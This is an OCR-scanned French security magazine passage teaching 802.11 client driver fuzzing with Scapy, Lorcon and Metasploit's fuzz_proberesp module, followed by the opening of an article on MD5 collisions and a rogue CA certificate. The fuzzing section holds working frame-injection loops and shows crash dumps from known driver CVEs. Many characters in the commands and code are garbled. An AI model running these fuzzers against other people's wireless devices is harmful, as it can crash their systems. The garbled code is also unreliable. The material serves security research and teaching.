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parm: autocreate:Create ath device in [stalap|uds|adnocian
demo|monitor] mode. defaults to sta, use 'mone' to disable (charp)
parm: ratectl:Rate control algorithm [anrrlonoe|samplel,
defaults to ‘sample’ (charp)

parm: ath_debug:Load-time debug output emable (int)

Nous pouvons alors voir ici la version utilisée du driver
Madwifi, ainsi que les différents paramétres possibles lors du
chargement du module.

Un paramétre trés utile en pratique est la manipulation
des canaux 802.11 autorisés (canaux de 1 4 13 pour I'Europe
et canaux de 1 4 11 pour les Etats-Unis) qui est possible lors
du chargement du module. Une liste des codes des pays est
disponible sur http://madwifi.org/wiki/UserDocs/
CountryCode. Cette liste est normalisée par I'ISO. Les régu-
lations selon les pays sont donc appliquées en fonction de ce

code qui est fourni au driver a son chargement.
# modprobe ath_pci countrycode=250

Afin que la modification soit permanente, il faut enrichir
les informations de chargement des modules sans quoi il sera
nécessaire de décharger le module, puis de le recharger avec les
parameétres adéquats.

# echo "options ath_pci countrycode=250" >> /etc/modprabe.d/options

Nous avons done maintenant une interface 802.11 parfai-
tement fonctionnelle. Il faut la configurer de maniére adéquate
afin d’injecter des paquets 802.11 arbitraires. Nul besoin du
patch nadwifi-ng présent dans [ATRCRACK-NG], il n'est utile
que pour la création de numéros de séquence arbitraires et a
la particularité de positionner un bit de la trame a 1 (le dra-
peau "retry"), ce qui peut étre génant vis-a-vis de la furtivité,
car il est alors simple de savoir qu'une attaque par injection
de trafic a lieu en réalisant des statistiques sur le nombre
de paquets avec le drapeau 'retry’. Mais, avouons-le, ce nest
qu'une anecdote vu la faible popularité des logiciels de détection
d'intrusion 802.11!

Est-il encore nécessaire de présenter Scapy ?!? Cet outil
posséde de nombreuses fonctionnalités de création et d'injec-
tion de paquets. Et, en particulier, il a en standard les classes
nécessaires pour I'ensemble des paquets 802.11 intéressants
i injecter dans le cadre du fuzzing 802.11. Quelques lignes de
Scapy devraient suffire pour réaliser un fuzzing préliminaire,
mais néanmoins efficace. A noter que I'article [MAYNOR] pré-
sente quelques informations trés intéressantes dans le fuzzing
802.11 avec Scapy.

Linstallation de Scapy ne présente pas de difficulté parti-
culidre. Tl est cependant recommandé de récupérer la derniére
version sur le dép6t Mercurial.




2.2.3 Metasploit

Le framework d’exploitation Metasploit bénéficie d'une
grande notoriété aupres des auditeurs sécurité de par sa puis-
sance et sa flexibilité. Ceci est d'autant plus vrai depuis la migra-

tion du framework vers le langage Ruby.

Ce n'est que depuis deux ans que les fonctionnalités d'injec-
tion 802.11 et les premiers exploits 802.11 ont fait leur appari-
tion dans Metasploit.

A cejour, Metasploit comporte 3 exploits de drivers 802.11 sous
Windows, 1 exploit de driver 802.11 sous Linux, 3 dénis de service
sur des drivers 802.11 et quelques scripts de découverte de vulné-
rabilités par fuzzing qui seront présentés dans la suite de I'article.

Linstallation de Metasploit est trés simple, car elle consiste
principalement & récupérer la derniére version depuis le dépot
subversion.

A noter qu'une interface graphique a été développée par
Fabrice Mourron, ce qui confére a cet outil une encore plus
grande facilité d'usage | [MSFGUI]

2.2.3.1 Bibliothéque Lorcon

La bibliothéque Lorcon est une initiative qui a pour but de
fournir au développeur une couche d’abstraction pour les opé-
rations sur les drivers 802.11. Une problématique importante
dans la programmation d'outils 4 base 802.11 est d’avoir une
gestion homogene des multiples drivers.

Cette bibliotheque posséde aussi des fonctions de création
de paquets 802.11, mais il est tout a fait possible bien entendu
de les créer a la main, puis d’utiliser les fonctions d’injection
de la bibliothéque. Dans Metasploit, par exemple, la création
des paquets 802.11 se réalise dans le module et I'injection du
paquet est réalisée par une fonction Ruby interagissant avec la
bibliothéque Lorcon (via les bindings Ruby).

Cette bibliothéque supporte de trés nombreux drivers,
parmi lesquels : madwifi-old, madwifi-ng, prisndd... Une liste exhaus-
tive est disponible sur [LORCON].

Le pilotage du driver devient donc complétement abstrait
grice aux fonetions de Lorcon, comme cela est montré dans
Toutil 12ping.

# listing des interfaces radio 882.11 disponibles
cardlist = tx80211_getcardlist();

# initialisation de 1'interface choisie pour 1'injection
txBO211_init(&tx, interface, txdry):

# initialisation de 1'interface choisie pour 1'injection
tx80211_setfunctionalmode(hktx, TX88211 FUNCMODE_INJMON);
# positionnement sur un canal radioélectrique
£x80211_setchannel(&tx, channel);

# injection du paquet 802.11

txBB211 txpacket(in_tx, &txpack);

Bien entendu, cette bibliothéque n'est pas obligatoire pour
réaliser du fuzzing a la main. Elle a simplement pour but de
réaliser un code le plus portable possible et le plus indépen-
dant possible du chipset et du driver sous-jacent. Ensuite,
pour l'injection des trames 802.11, le fonctionnement est
le méme que d’habitude, a savoir utiliser une socket avec un
type SOCK_RAW.

2.2.3.2 Les bindings ruby-lorcon

Linstallation des bindings ruby-lorcon est indispensable pour
que Metasploit soit capable d’appeler des fonctions de la biblio-
theque Lorcon par des fonctions en Ruby de Metasploit. Cette
bibliothéque doit donc étre installée avant 'exécution des com-

mandes suivantes.

~/metasploit/external/ruby-Torcon$ ruby extconf.rb && sudo make
install
checking for txBO211_txpacket() in -Torcon... yes
creating Makefile
[..]
Jusr/bin/install -c -m 8755 Lorcon.so /usr/local/1ib/site_ruby/1.8/
486-Tinux

Maintenant que la bibliothéque Lorcon et ses bindings Ruby
ont été installés avec sucees, nous pourrons utiliser les seripts
de Metasploit.

2.3 Configuration

de I'interface 802.11

Dans un premier temps, grace a notre carte avec un chipset
Atheros, nous devons configurer cette interface dans un mode
qui nous permettra I'injection de paquets.

Comme certains chipsets Atheros supportent les interfaces
virtuelles, alors la configuration de ces interfaces est différente
du classique fwconfig. Ceci a des implications assez fortes dans la
configuration de I'interface qui réalisera l'injection de paquets.
En effet, il faudra en premier lieu initialiser une interface vir-
tuelle comme il faut.

A l'insertion d’'une nouvelle carte 802.11 dans un slot
PCMCIA ou a l'occasion du démarrage du noyau pour les cartes
PCI/mini-PCI, il est important de vérifier la bonne reconnais-
sance de la carte.

$ spci -y

16:00.0 Ethernet controller: Atheros Communications, Inc. ARG212
882.11abg NIC (rev 01)

[...]

Ensuite, il faut détruire l'interface qui est généralement
créée par défaut au chargement du driver (pour modifier ce |
comportement, il faut changer 'option zutocrests passée au

module lors de son chargement).
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$ sudo wlanconfig athd desiroy

§ sudo wianconfig athd create wiandev wifill wlanmode monitor

nosheacon

§ sudo iwconfig athd channel 1

§ sudo ifconfig athd up

§ iwconfig athd

athd IEEE 8@2.11g ESSID:"" Mickname:""
Mode:Monitor Frequency:2.412 GHz Access Point:
0B:14:60:54:A9:62

Bl

11 est maintenant important de vérifier que l'interface est

capable d’écouter sur la voie radioélectrique afin de récupérer
les trames 802.11.

$ sudo tshark -ni athd

Capturing on athd
0.000080 00:04:23:72:77:62 -> ffiff:ff:Ff.FF:Ff IEEE 82,11 Probe
Request,SN=844,FN=8, SSID: "tata"
0.000802 B0:84:23:72:77:62 -> fi:ffff.ff:ff1ff IEEE 862,11 Probe
Request,SN=845,Fi=g, SSID: "tata"

§ sudo scapy

Welcome to Scapy (1.2.8.2)

>>> spiff(iface="athd", count=2).show()

0088 PrismHeader / 862,11 Management BL 0@:fe:d7:b2:a7:85 >
ffiffiffiff:5F:6F / DotllBeacon / SSID="toto’ / DotllElt / [...]
{001 PrismHeader / RU2.11 Management BL B0:0e:d7:62:a7:84 >
fFfoff2ff:f FH:FF / Dot1lBeacon / SSID='tutu’ / DotllElt / [...]

Nous constatons ici que le premier en-téte reconnu par scapy
est du type PrisnHeader. Cet en-téte est souvent utile pour I'écoute
du trafic 802.11, car des informations sur le canal d'écoute ou
encore le rapport signal a bruit sont présentes, car remontées
par le chipset via le driver. Dans notre cas, nous n'avons pas
besoin de ce type d'information. Il est alors possible dele signa-
ler au driver par une entrée adéquate dans /proc.

# cat /proc/sys/net/athB/dev_type

802

# echo 801 > /proc/sys/net/athB/dev_type

$ sudo scapy

Welcome to Scapy (1.2.8.2)

>»> spiff(iface="athd", count=2}.show()

680 802.11 Management 8L B0:0e;d7;b2:a7:80 > ff.ffiff:ff:ffiff /
Dot11Beacon / SSID="titi' / DotllElt / [...]

gae1 882,11 Management 8L B0:0e:d7:b2:a7:85 > ffuffiffeffiffiff /
Dot11Beacon / SSID="tutu' / DotllENt / [...]

Une autre alternative équivalente consiste a passer par :
# sysct] -w net.athd.dev_type=881

Dans un autre registre, il est aussi possible de paramétrer
les informations de journalisation grice aux utilitaires 86211debug
(pour la partie machine a état 802.11) et athdebug (pour la partie
spécifique chipset) fournis avec l'archive du driver Madwifi. Ils

permettent d’avoir une certaine finesse sur les événements a
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journaliser ou pas. Ceci peut étre trés utile dans les tests de

fuzzing, car il permet d'évaluer les vérifications réalisées sur
les paquets considérés comme mal formés (et donc rejetés) par
le driver.

De nombreuses possibilités de journalisation sont offertes.
La description de ces derniéres est sur : http://madwifi.org/
wiki/DevDoes/AthDebug.

# athdebug +xmit

ath_tx_start: skbd d85ac9ch [data ¢BcdB@ld len 42] skbaddr 18ccdpll
NODS 00:20:26;61:2d:09->Ff:ff: Fr:fEEF.FF(FFFR. PR FFLFE:6F) probe_req
1M

40 B9 00 06 ff ff £ ff ff £f 00 20 a6 61 2d 09
ff £f ff ff £f ff 20 06 00 09 81 08 82 84 8b 96
Bc 12 15 24 32 04 3 48 6@ bc

# BO211debug +scan
net.athd.debug: Bx@0288000

athl: jeeeBf211_ioctl_siwscan: active scan request
athf: ieeeB0211 start_scan: active scan, duration 2147483647,
desired mode auto, append, nopick, once
athd: scan set 1g, 6g, 1lg, 79, 13q, 2q, 3q, 49, 5q, 8g, 9g, l6g,
129, 14b, 69 dwell min 5 max 58
ath@: scan_next: chan lg -> 1g [active, dwell min 5 max 58]
[80:8e:d7:b2:a7:82] new probe_resp on chan 1 (bss chan 1) "WifiFT_
HPA2"
[88:0e:d7:02:a7:82] caps 0x431 bintval 100 erp Oxd country info 46
52 49 91 8d 11
[80:0e:d7:b2:a7:84] new probe_resp on chan 1 (bss chan 1) "Hol?"
[00:0e:07:b2:47:84] caps 8x431 bintval 108 erp @x@ country info 46
52 49 01 8d 11
[08:Be:d7:b2:a7:80] new beacon on chan 1 (bss chan 1) "HIFIGE-BURD"
[B8:0e:d7:02:a7:80] caps Bx431 bintval 106 erp @xB country info 46
52 49 81 @d 11
athd: jeeeB#211_add_scan: chan
2657361)
athd: scan_next: chan 1g ->
[l
athd: notify scan done

1g min dwell met (2657361 >

6g [active, dwell min 5 max 58]

Exemples de paramétres de débogage

Dans le premier exemple, nous avens choisi de journaliser
tous les paquets émis par I'interface sans-fil grace a la com-
mande ithdebug. Nous reconnaissons alors une trame Probe
Request envoyée vers I'adresse de broadcast envoyée lors d'un
sean actif.

Dans le deuxiéme exemple, nous avons choisi de journali-
ser tous les scans initiés issus de I'interface sans-fil grace a la
commande &f211debug. Nous voyons alors que le scan commence
sur le canal radioélectrique 1: il y a récupération de trames de
Probe Responses et de Beacons, puis passage au canal radio-
électrique 6 pour continuer le scan actif.




Dans cet article, nous n'aborderons que le fuzzing d'implé-
mentations 802.11 clientes. Les principales différences avec le
fuzzing d'implémentations 802.11 de points d'accés résident
dans deux points : la capacité du fuzzer de monter les états qui
est primordiale pour le fuzzing de points d’accés et I'instrumen-
tation de la cible qui n’est plus nécessaire pour le fuzzing de
points d'aceés.

3.1 Instrumentation de

la cible

L'instrumentation de la cible est primordiale, car il faut étre
stir que les trames émises par le fuzzer seront bien parsées par
le driver client. En effet, il faut s’assurer que le driver client est
en état 1 (non authentifié, non associé) et est en recherche de
point d'accés et donc parsera les trames de Beacon et Probe
Response. Il ne faut pas que le client soit associé avec un point
d’accés, car I'état fuzzé serait donc I'état 3 et non plus I'état 1
comme souhaité.

Pour ce faire, sous Windows, il est possible d'utiliser le logiciel
Netstumbler qui envoie les commandes adéquates [NDIS-OID].
De la méme maniére, sous GNU/Linux, il est possible d'utiliser
la commande 1wiist ifice scan en utilisateur privilégié qui foree

un appel SIOCSTHSCAN,

3.2 Détection d’une erreur
d’'implémentation

Silerreur d'implémentation entraine un crash complet du
systeme, alors il est faisable de détecter le bug tout simplement
via l'interface Ethernet pour voir si la machine fuzzée est tou-
jours présente. Une alternative plus fiable est d'écouter la voie
radioélectrique durant un certain temps, de maniére a véri-
fier si I'interface sans-fil de la machine fuzzée émet toujours
des paquets sur la voie radioélectrique. Cette derniére tech-
nique permet de détecter les erreurs de maniére plus fine que

la premieére.

3. Quelques éléments avant de commencer

Bien évidemment, un crash complet de I'implémentation
802.11 ne préjuge en rien de 'exploitabilité de la faille dans le
sens exécution de code arbitraire.

def check_activitylsta):

f = "ether src host " + sta

ans = sniff(filter=f, count=l, timeout=14)

if ans == [
print "[-] No activity from &s' % sta
print "[-] Waiting for active scan from %s" % sta
check_activity(sta)

else;
print "[+] Activity from ¥s" ¥ sta
return True

ion de verification dactivité radioé¢lectrique grace a des

fonctions Seapy

Cette fonetion qui prend en argument I'adresse MAC de la
station fuzzée, permet de vérifier si 'implémentation 802.11 est
toujours vivante apres chaque test.

3.3 Injection des tests

Linjection des tests avec Scapy se réalise de maniére trés
simple.

conf.iface = "athd”
sendp(pkt, count=1008)

Fonction d'injection de données sur linterface

Le paquet testé doit étre envoyé de trés nombreuses fois
durant une fenétre de temps pour s’assurer qu’il sera bien
attrapé par l'interface radioélectrique de I'implémentation
fuzzée qui est en mode scan. La méthode basique d'envoyer
le méme paquet durant un certain temps fonctionne trés
bien dans notre cas, car aucun mécanisme de vérification sur
certains champs contextuels (tels les numéros de séquence)
n’existe dans toutes les implémentations que nous avons
pu observer.

4. Fuzzing 802.11 avec Scapy

4.1 Création de trames

La création et l'injection d'une trame 802.11 avec Scapy est

réalisable en quelques lignes.

Tout d’abord, il faut prendre connaissance des champs des
trames 802.11 qui sont nécessaires. Si nous fuzzons des drivers
802.11 de cartes clientes, les trames les plus intéressantes a for-

ger qui seront parsées par le driver sont les trames de Beacon
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(balise) et Probe Response (qui sont émises en réponse aux
trames Probe Request).

>>> 15(Dot1l)

subtype @ BitField = (B
type : BitEnumField = (0
proto : BitField = (0
FCfield  ; FlagsField = ()
1D : ShortField = (@)

addrl + MACField
addr? : Dot11AddrZMACField = ('08:60:00:00:00:90')
addr3 + Dot11AddraMACField = ('00:00:60:00:00.08')
5C : Dot11SCField = ()

addrd 1 Dotl1AddrdMACField = ('00:00:00:00:00:88')

n

('00:00:00:00:00:00')

En-téte d'un paquet 802.11

1l faudra spécifier au minimum les adresses source et des-

tination afin de fuzzer I'équipement choisi.

bind_Tayers( Dotll,
bind_layers( Dotll,
bind_layers( DotllBeacon,
bind Tayers( Dot11ProbeResp,
bind_Tayers( DotllElt,

DotilBeacon, subtype=8, type=8)
Dot11ProbeResp, subtypes5, type=g)
DotllElt, )
Dot11Elt, )
DotllElt, )

Empilement des couches pour les Beacons et Probe Responses

Scapy est capable, gréce 4 ses bind_lgyers, de positionner cor-
rectement les valeurs des champs de la couche précédente en
fonction du type de couche empilée, ce qui est extrémement

pratique.

Les trames Beacon et Probe Response ont des en-tétes
obligatoires (appelés « Fixed Parameters ») et des en-tétes
optionnels (appelés « Tagged Parameters »). Ces derniers sont

constitués d'éléments appelés les « Information Elements ».

>>> 1s{Dot118eacan)

timestamp : LELongField = ()
beacon_interval : LEShortField = (100)
tap : FlagsField = ()
55> 15(Dot11ProbeResp)

timestamp : LELongField = (0
beacon_interval : LEShortField = (160)
cap : FlagsField = (8

Champs obligatoires pour les Beacons et Probe Responses

Les en-tétes de ces trames sont rigoureusement identiques.
Par conséquent, la différence va se retrouver principalement
dans I'adresse MAC destination, car une trame Probe Response
est dirigée en unicast vers la station cliente ayant émis le Probe
Request, tandis que la trame de Beacon est dirigée vers l'adresse
MAC de broadcast.

Regardons maintenant les champs optionnels empilés aprés

un en-téte de trame de Beacon ou de Probe Response.
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>»> 1s(Dot11E1L)

D : ByteEnumField = (0)
Ten : FieldLenField = (None)
info v StrienField =)

Information Element (1ype, Length, Value)

Les fonctions de calcul de longueur des trames et champs
sont directement intégrées dans Scapy, ce qui permet de spéci-

fier le champ info sans avoir a calculer 4 la main la longueur Jen.

4.2 Création des tests

4.2.1 Tests sur les information
elements

Les information elements doivent étre fuzzés, car les
erreurs de programmation sur ces types de données a longueurs
variables sont légion. En effet, les failles 4 cause de déborde-
ment de tampon sont trés probables de par la spécification de
la longueur du contenu gréce 4 un champ spécifique (le champ
"Length"). Cela s'est confirmé en pratique, car une grande majo-
rité des vulnérabilités publiées sont relatives 4 une mauvaise
gestion de ces données Type Length Value (TLV).

11 est done possible de tester plusieurs choses sur ces aspects :

~@ différentes valeurs de "length’ avec une longueur de la "value'
cohérente (paquet bien formé) ;

—@ différentes valeurs de "1ength" avec une longueur de la "value”
incohérente (paquet mal formé) ;

—@ différents contenus de "value" avec une valeur de "length’
cohérente (paquet bien formé).

tairnes implémentations vérifient la cohérence des TLV, ¢

implique que si l'on veut fuzzer le contenu de ces champs

faut une trame qui soit cohérente, sinon Elie'séra'rej

donc son contenu ne sera pas parsé. Le principal objectif de
Ja génération des tests de fuzzing est de c_.o_r:ceﬁoir TJes tests

qui permeltront de couvrir un maximum "de.'fdimtinnﬁ'dﬁ"‘;'

code du driver. il

# SSID du point d'acces

S§ID = “fuzzing”

# Adresse MAC du fuzzer

BSSID = "@@:20:A6:61:20:09" '
# Adresse MAC de 1'interface fuzzée

STA = "00:1E:4C:92:7A:FB"

# Canal de 1'interface radioélectrique du fuzzer

CHANNEL = 1
# Débits sugpurtés de 1'interface radioélectrique du fuzzer
RATES = "\xB2\x04\x@B\x16"

Données d'initialisation du fuzzer




heuristics = [, 1, 2, 3, 4,5, 6, 7, 8, 9, 18, 11, 12, 13, 14, 15,
16, 17\

18, 19, 20, 21, 22, 23, 4, 25, 26, 21, 28, 29, 3, 31, 32, 33\
63, 64, 65, 127, 128, 129, 255]

Quelques heuristiques arbitraires sur les longueurs

Nous avons choisi certaines heuristiques afin d’éviter de
tester toutes les longueurs possibles. Le choix des valeurs est
tel que les valeurs en dessous de 32 sont souvent utilisées dans
les principaux information elements et, ensuite, on a privilé-
gié les valeurs puissance de 2 plus ou moins 1. Cela réduit en
pratique 4 10496 tests au lieu de 65536 tests pour uniquement
le fuzzing sur les longueurs valides. 11 ne faut pas oublier que
dans le fuzzing du client, chaque test peut prendre plusieurs
secondes et donc cela impacte fortement sur la durée nécessaire
pour fuzzer I'implémentation cliente. Dans notre cas, en prenant
comme hypothése que chaque test peut prendre une dizaine de
secondes, le fuzzing complet sur tous les information elements
prendrait plus d'une journée.

header = Dotll(addrl=STA, addr2=8SSID, addr3=BSSID)/
Dot11ProbeResp()
fieader /= Dot11E1t(ID=0, info=SSID)

header /= Dot11E1t(ID=1, info=chr(CHANNEL))
header /= Dot11ETt(ID=3, info=RATES)

Définition des éléments obligatoires d'une trame Probe Response

for e in xrange(256):
for padlen in heuristics:
tosend = header/Dot11E1L(ID=1e, info="A"*padlen)
sendp(tosend, count=1800)
check_activity(STA)

Ajout d'un information element dont la longueur est fuzzée

4.2.2 Tests sur les trames tronquées

Les trames tronquées sont souvent intéressantes 4 tester, car
elles peuvent permettre de déclencher des integer overflow lors
de comparaisons signées, Les trames tronquées intéressantes
peuvent étre celles précédentes (avec des information elements),
mais aussi toute trame 802.11 définie par son « protocole »,
« type » et « subtype ». Il suffit alors de eréer I'ensemble de
trames « intéressantes » et de les tronquer au fur et & mesure
afin de créer un ensemble de tests 4 injecter.

for proto in [8, 1I:
for type in [8, 10:
for subtype in range(8):
tosend = Dotll(proto=proto, type=type, subtype=subtype,
addrl=STA, addr2=BSSID, addr3=BSSID)/Raw(1f * "A")
for i in range(len(tosend)}:

sendp(tosend[:i], count=1000)
check _activity(STA)

4.2.3 Tests aléatoires avec

la fonction fuzz()

Scapy implémente une fonetion trés utile pour le fuzzing
aléatoire des champs non définis par 'utilisateur lors de la créa-
tion des trames & injecter. En effet, en utilisant la fonetion fuzz(),
il est aisé de réaliser des tests de fuzzing qui sont complétement
aléatoires selon les types de champs fuzzés.

55> fuzz(Dot11E18()). show()

#i4[ 802,11 Information Element J###
10= <RandByte>
Ten= §
info= <RandBin>

>»> 4 = Dot11()/Dot11ProbeResp()/fuzz(Dot11E14(10=0))
>»> 3, show()
HEE[ 802,11 1a#4
subtype= 5
type= Management
proto=
FCfield=
1= 8
addri= #0:00:00:68:00:00
addr?= 60:00:00:00:00:00
addr3= 80:00:00:00:00:00
St= 8
addrd= 00:00:00:00:00:00
###[ 80211 Probe Response J###
timestamp= 0
beacon_interval= 108
cap=
###[ 802.11 Information Clement l#e#
1= 551D
len= @
info= <RandBin>

Utilisation de la fonetion fuzz()

Cette fonction permettra d’appeler d’autres fonctions telles
que RandByie et RandBin & chaque fois. Par contre, le fuzzing sera
complétement aléatoire et non reproductible. Il faudra donc
sauvegarder tous les tests qui auront pu déclencher une vul-
nérabilité. Cette fonction permet de créer des tests de fuzzing

trés rapidement !

4.3 Et au final avec Scapy...

En rassemblant une génération de tests qui soit suffisam-
ment pertinente pour aveir une probabilité de découverte d’er-
reurs d'implémentation (ainsi qu'une génération purement
aléatoire) avec les techniques de détection d’erreur d'implé-
mentation par I'écoute sur la voie radioélectrique, il est possible
d'avoir un fuzzer autonome. Reste ensuite une problématique
classique lorsqu'un méme bug est déclenché par de nombreux
tests, ce qui ralentit réellement le processus de fuzzing, car il
faut retourner dans un état « propre » (c'est-a-dire redémarrer
la machine complétement dansle cadre d’un driver) pour conti-
nuer le processus.
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5. Fuzzing 802.11 avec Metasploit

Plusieurs fuzzers sont disponibles dans Metasploit. Ils ont

permis de découvrir quelques vulnérabilités qui avaient été
publiées dans le Month of Kernel Bugs.

msf > use dos/wireless/fuzz_proberesp
msf auxiliary(fuzz_proberesp) > set ADDR_DST §B:18:DE:82:11:FC
ADDR_DST => 00:18:DE:02:11:FC

msf auxiliary(fuzz_proberesp) > set CHANNEL 1
CHANNEL => 1

msf auxiliary(fuzz_proberesp) > set DRIVER madwifing
DRIVER => madwifing

msf auxiliary(fuzz_proberesp) > set PING_HOST 192.168.1.10
PING_HOST => 192,168.1.18

msf auxiliary(fuzz_proberesp) > show options
Module options:

Name Current Setting

Required Description

target system

CHANNEL 1 yes The default channel
number

ORIVER nadwifing yes The name of the wireless
driver for lorcon

INTERFACE athf yes The name of the wireless
interface

PING_HOST 192.168.1.10 no Ping the wired address

of the target host
msf auxiliary(fuzz_proberesp) > exploit

[*] Sending corrupt frames...

[*] Host missed & ping response...

[*] Host missed & ping response...

[*] Fhkrhrkrkrbrbrkr ki ririadahhhrbr bkt hdhkt
Ll

[*] Auxiliary module execution completed

Lignes de commandes a passer via linterface console de

Metasploit

Difficile de faire plus simple a utiliser | Cependant, il faut se

rappeler que le point d’arrét des tests est réalisé grice a la non-
réponse de la cible & un ping. Par conséquent, cette méthode
ne fonetionne trés bien que lors de crashs systéme complets.

6. Exemples de crashs de drivers 802.11

Les failles d'implémentation dans les drivers 802.11 sous
Windows ont été facilement détectables grace a I'apparition du
fameux Bhie Screen of Death (bien entendu, ces failles sont bru-
tales ; d'autres peuvent exister, mais sont plus difficilement iden-

tifiables...). Sous Linux, un kernel oops peut faire son apparition.

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)

An attempt was made to access 3 pageable (or completely invalid)
address at an |

interrupt request Tevel (IRQL) that is too high. This is usually
caused by drivers using inproper addresses.

If kernel debugger is available get stack backtrace.

Arguments:

Argl: 41414141, memory referenced

Arg2: 0886002, IROL

Arg3: 00080008, value @ = read operation, 1 = write operation
Argd: aalecTba, address which referenced memory

Exemple dun erash sur le CVE-2006-6059 (driver Netgear

MAsz21 sous Microsoft Windows)

BUG:

unable to handle kernel paging request at virtual address 41414141
printing eip:

41414141

*pde = 00000000

Oops: 0080 [#1)

PREEMPT

CRUEL e

EIP;  [O60:[<41414141>]  Tainted: P VLI

EFLAGS: Bg210262 (2.6.17.11 #1)

EIP is at Gxd1414141

eax: D0OOOROA  ebx: 41414141 ecx: 0O00BO0E edx: fd4720bde
esi: 41414141  edi: 41414141 ebp: 41414141  esp: f3fZheld
ds: B@7b es: BE7b  ss: 0068

Process fwlist (pid: 3486, threadinfo=f3f2aB00 task=f6f8ashl)

Exemple dun oops sur le CVE-2006-6332 (driver Madwifi

sous Linux)

=. Et le futur du fuzzing 802.11 ?

Toujours de belles perspectives, car les nouvelles normes 802.11n, qui supporte I'avertissement de nouvelles fonctionnali-
tés 802.11n dans les trames de signalisation (via les information

elements) et la possibilité de faire de I'agrégation de paquets en

apportent de nombreuses modifications qui seront implémen-

tées dans les drivers. Par exemple, la norme en devenir, la
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cumulant plusieurs paquets en un seul (et donc présence d'en-
tétes avec des champs de type longueur qui sont susceptibles
d'étre fuzzés).

En résumé, un fuzzer complet 802.11 doit étre capable de :

— fuzzer de maniére générique n'importe quel information
element ;

—# fuzzer de maniére spécifique certains information elements
critiques (WPA, RSN, WMM, HT...) ;

-8 fuzzer de maniére spécifique certaines trames de données
telles que celles de QoS et en 802.11n ;

=8 fuzzer chacun des états ;

CODE

—# fuzzer les changements d’états (fuzzer I'implémentation de
la machine a états).

Malheureusement, on s'éloigne de plus en plus de concept de
simplicité dans le fuzzing, car cela revient ensuite a développer
des fuzzers pour chacune des fonctionnalités des extensions de
la norme 802.11, ce qui est trés consommateur en temps. Ceci
devient malheureusement obligatoire en particulier lorsque le
fuzzing doit monter dans les états. C'est la raison pour laquelle
le fuzzing est généralement trés adapté dans la recherche des
vulnérabilités atteignables facilement.

Conclusion

Un fuzzer complet doit étre capable de monter dans les dif-
férents états de la machine a états d'un protocole réseau et doit
avoir la capacité de fuzzer la sémantique des champs contenus
dans le protocole. Si ces deux conditions sont réunies, cela per-
mettra au fuzzer de découvrir une grande majorité des failles
publiques. Cest bien entendu une généralité qui ne s’applique
pas qu'aux implémentations 802.11.

Cet article a permis de montrer que développer et utiliser
un fuzzer 802.11 basique n'est pas compliqué en soi, mais, si l'on
veut aller plus loin dans le fuzzing, alors cela peut complexifier
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EXPLOITATION DE
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DE MDS5 :

CREATION D’UNE AUTORITE
DE CERTIFICATION

cryptographie / fonction de hachage / collision / MD5 /
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D5 est avee SHA-1 une des fonctions de hachage les plus utilisées pour
réaliser des condensats de fichiers. Ces condensats servent dans divers cas,
notamment pour permettre la signature numérique de documents a laide
de RSA. Fin décembre 2008, léquipe HashClash a présenté une conférence intitulée

72

« MDj5 considered harmful today: Creating a rogue CA certificate ».

En cryptographie, il est raisonnable de pen-
ser qu'une fonction de hachage est cassée a partir
du moment ot une collision est exhibée. Depuis
2004, des collisions sont connues sur MD5, bien
qu’elles étaient a 'époque inexploitables (premiére
partie). L'équipe HashClash s’est basée sur les tra-
vaux de 2004 pour étendre la maniére de trou-
ver des collisions afin de pouvoir profiter de cette

faiblesse. Aprés quelques travaux préparatoires,
ils ont employé cette méthode pour attaquer une auto-
rité de certification afin d'usurper le titre de sous-auto-
rité (seconde partie). En dehors de l'attaque brillante
que cette équipe a menée, nous nous trouvons obligé
de réfléchir sur la confiance que nous apportons aux
autorités de certification que nos navigateurs web
embarquent (troisiéme partie).

1. MD5 n’est plus une fonction de hachage fiable

MD5 est une fonction de hachage créée en 1992 [1]
par R.Rivest. Lalgorithme MD5 a été congu pour des
applications de signature numérique, ot un fichier doit
étre condensé de facon sécurisée avant d’étre chiffré
par une clé privée dans le cadre d'un systeme de chif-
frement 4 clé publique comme RSA.

Des suspicions contre MD5 sont nées dés 1996.
En 2004, ces soupcons se sont confirmées, et, depuis
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décembre 2008, la faille de MD5 s’est matérialisée dans
la possibilité de générer rapidement des collisions sur

des fichiers a préfixe choisis.

Les fonctions de hachage comme MD5 doivent
obéir a plusieurs principes qui seront rappelés dans
une premiere partie. Les attaques dirigées contre MD5
l'ont été contre un seul de ces principes, ce qui sera vu

dans une deuxie¢me partie.




1.1 Les collisions, talon

d’Achille des fonetions
de hachage

On parle dempreinte, de condensat, de hash (ou de somme
MDs5 dans le cas qui nous intéresse) comme étant le résultat
de l'application de la fonction de hachage. Dans les exemples
suivants, nous appelons ! toute entrée fournie  la fonction de
hachage (par exemple un fichier), ot h est le résultat du caleul
de la fonction de hachage appelée #. Nous pouvons écrire
alorsh = K(M),

M sera aussi appelé pré-image de h.

Une fonction de hachage destinée & permettre des opéra-
tions de signatures numériques a l'aide d'une PKI de type RSA
doit répondre & plusieurs principes qui sont la rapidité de caleul,
la résistance au calcul de pré-image, la résistance au calcul de
seconde pré-image et enfin la résistance aux collisions.

La rapidité réside dans la
vitesse de calcul d'une entrée
i qui doit pouvoir étre fournie
de maniére efficace, c’est-a-
dire rapidement et slirement.
Lentrée peut faire n'importe
quelle taille, la sortie doit étre
de taille constante.

Dans le cas de MDs5, la sortie fait 128 bits. Ces 128 bits
sont écrits a l'aide d'une notation hexadécimale, représen-
tant ainsi 32 caractéres compris dans lintervalle [0-g9a-f].
Voici le condensat MD5 du mot « MISC » réalisé sur une
machine macIntel :

imac:~ kevin§ echo -n MISC | md5

ca5c584c6136e20051be115160b0FE08

imac:~ keyin$

La résistance au calcul de pré-image réside dans la difficulté

de pouvoir donner une pré-image i correspondant 4 un b donné.
Les fonctions de hachage sont appelées pour cette raison « fone-
tions & sens unique ». Le niveau de difficulté doit étre équivalent
a une recherche exhaustive des solutions. Pour illustrer cela,
nous pouvons dire que trouver un message ! correspondant au
hash sasaassaasaasaaaasasaaaiazaasads n'est pas possible dans une
durée raisonnable.

La résistance au calcul de seconde pré-image est la suite
logique de la premiére résistance. Soit un message ! produisant
le hash I, il doit étre difficile de trouver un message l{' tel que
(M) = h. La difficulté doit étre équivalente a la recherche de
premiere pré-image. Ainsi, trouver un second message donnant
le hash ca5c504c6136e20051be115160b67008 doit étre aussi ardu que
pour le cas précédent.

Une seule collision connue d'une fonc-
tion de hachage suffit a déconseiller son
utilisation selon les cryptologues.

e
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Les fonctions de hachage doivent aussi résister aux colli-
